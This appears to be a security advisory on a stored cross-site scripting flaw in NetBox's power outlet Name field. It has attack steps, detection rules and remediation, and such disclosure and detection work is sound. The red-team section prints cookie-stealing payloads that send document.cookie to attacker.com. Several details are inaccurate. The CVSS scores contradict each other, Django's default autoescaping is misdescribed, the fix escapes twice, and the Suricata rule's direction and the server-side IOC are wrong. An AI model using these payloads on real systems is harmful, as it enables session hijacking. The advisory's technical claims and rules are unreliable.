CVE-2024-40735

Executive Summary

CVE-2024-40735 is a stored cross-site scripting (XSS) vulnerability discovered in NetBox v4.0.3, specifically within the power outlet editing functionality. An authenticated attacker with sufficient privileges can inject arbitrary JavaScript or HTML into the Name parameter at /dcim/power-outlets/{id}/edit/. This payload is stored on the server and executed in the browsers of other users who view the affected power outlet details, leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 0.0 in the NVD but is assessed as medium severity due to the requirement for authenticated access and user interaction. No official patch or exploit code has been released, but the attack vector is well-documented.

Supply Chain & Package Security

NetBox is a Python-based open-source application distributed via PyPI and GitHub. This vulnerability affects the core application code, not a third-party package. However, organizations using NetBox should verify their deployment version and apply any available security updates from the vendor. The lack of a patch increases the risk for unmonitored instances.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user with power outlet edit permissions)
• User Interaction: Required (victim must view the malicious power outlet)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low (potential data leakage via XSS)
• Integrity Impact: Low (content modification possible)
• Availability Impact: None

Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within an organization.

Deep Dive & Mechanics

The vulnerability resides in the Name field of the power outlet edit form. NetBox fails to properly sanitize or encode user-supplied input before storing it in the database and rendering it in the web interface. When an attacker submits a crafted payload (e.g., <script>alert('XSS')</script>) via the Name parameter, the application stores it without validation. Subsequently, when any user (including administrators) navigates to the power outlet detail page, the malicious script executes in their browser context.

Root Cause: Lack of output encoding in the template rendering the power outlet name. The application likely uses Django templates, but the Name field is rendered with |safe filter or without proper escaping.

Attack Flow:

1. Attacker authenticates to NetBox with an account that has permissions to edit power outlets.
2. Attacker navigates to /dcim/power-outlets/{id}/edit/ and injects a malicious payload into the Name field.
3. The payload is stored in the database.
4. Victim (another user) views the power outlet detail page.
5. The payload executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox v4.0.3):

# In views or template rendering
class PowerOutletEditView(EditView):
    model = PowerOutlet
    fields = ['name', 'type', ...]
    # No sanitization of 'name' field

<!-- Template snippet -->
<h1>{{ power_outlet.name }}</h1>  <!-- No escaping filter -->

Patched Code (Hypothetical fix):

# In views or template rendering
from django.utils.html import escape

class PowerOutletEditView(EditView):
    model = PowerOutlet
    fields = ['name', 'type', ...]
    def form_valid(self, form):
        form.instance.name = escape(form.instance.name)  # Sanitize input
        return super().form_valid(form)

<!-- Template snippet with proper escaping -->
<h1>{{ power_outlet.name|escape }}</h1>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• NetBox v4.0.3 instance
• Authenticated user with power outlet edit permissions
• Web browser with developer tools

Exploitation Steps:

1. Log in to NetBox as an attacker user.
2. Navigate to /dcim/power-outlets/ and select an existing outlet or create a new one.
3. Click "Edit" to open the edit form at /dcim/power-outlets/{id}/edit/.
4. In the Name field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the changes.
6. Wait for an administrator or other user to view the power outlet detail page.
7. The payload executes, sending the victim's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection:

• Monitor web application logs for suspicious Name field submissions containing <script>, <img>, or other HTML tags.
• Use WAF rules to block common XSS patterns in the Name parameter.
• Implement Content Security Policy (CSP) headers to mitigate script execution.

Hunting:

• Search database for power outlet names containing HTML/JavaScript.
• Review access logs for unusual patterns in /dcim/power-outlets/*/edit/ endpoints.

Lab Setup:

1. Deploy NetBox v4.0.3 in a controlled environment (e.g., Docker).
2. Create a test user with power outlet edit permissions.
3. Use Burp Suite or browser developer tools to intercept and modify the Name parameter.
4. Verify the XSS by observing script execution in another browser session.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to unknown domains from NetBox server (e.g., attacker.com)
  • HTTP requests containing <script> or <img> tags in the Name parameter
• Host:
  • Database entries in dcim_poweroutlet table with name field containing HTML/JavaScript
  • Web server logs showing POST /dcim/power-outlets/*/edit/ with suspicious payloads
• File:
  • No file-based IOCs; vulnerability is stored in database

Detection Engineering

YARA Rule

rule Detect_NetBox_XSS_Payload {
    meta:
        description = "Detects XSS payloads in NetBox power outlet name fields"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-40735"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror\s*=/is
        $xss3 = /onload\s*=|onclick\s*=|onmouseover\s*=/is
    condition:
        any of ($xss*)
}

Sigma Rule

title: NetBox Power Outlet XSS Attempt
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects XSS attempts in NetBox power outlet name field
author: Valters IT
logsource:
    category: web
    product: netbox
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/dcim/power-outlets/*/edit/'
        cs-uri-query|contains: 
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in name field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-40735 NetBox Power Outlet XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/dcim/power-outlets/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade NetBox to the latest version if a patch becomes available. Monitor the vendor's GitHub releases.
2. Apply WAF rules to block XSS payloads in the Name parameter.
3. Restrict permissions for power outlet editing to only trusted users.
4. Enable Content Security Policy (CSP) headers to prevent inline script execution.

Long-term Fix:

• Implement input validation and output encoding in all user-facing fields.
• Use Django's built-in escape filter in templates.
• Conduct regular security audits of custom code.

Workaround:

• Manually sanitize the Name field in the database using a script to remove HTML tags.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert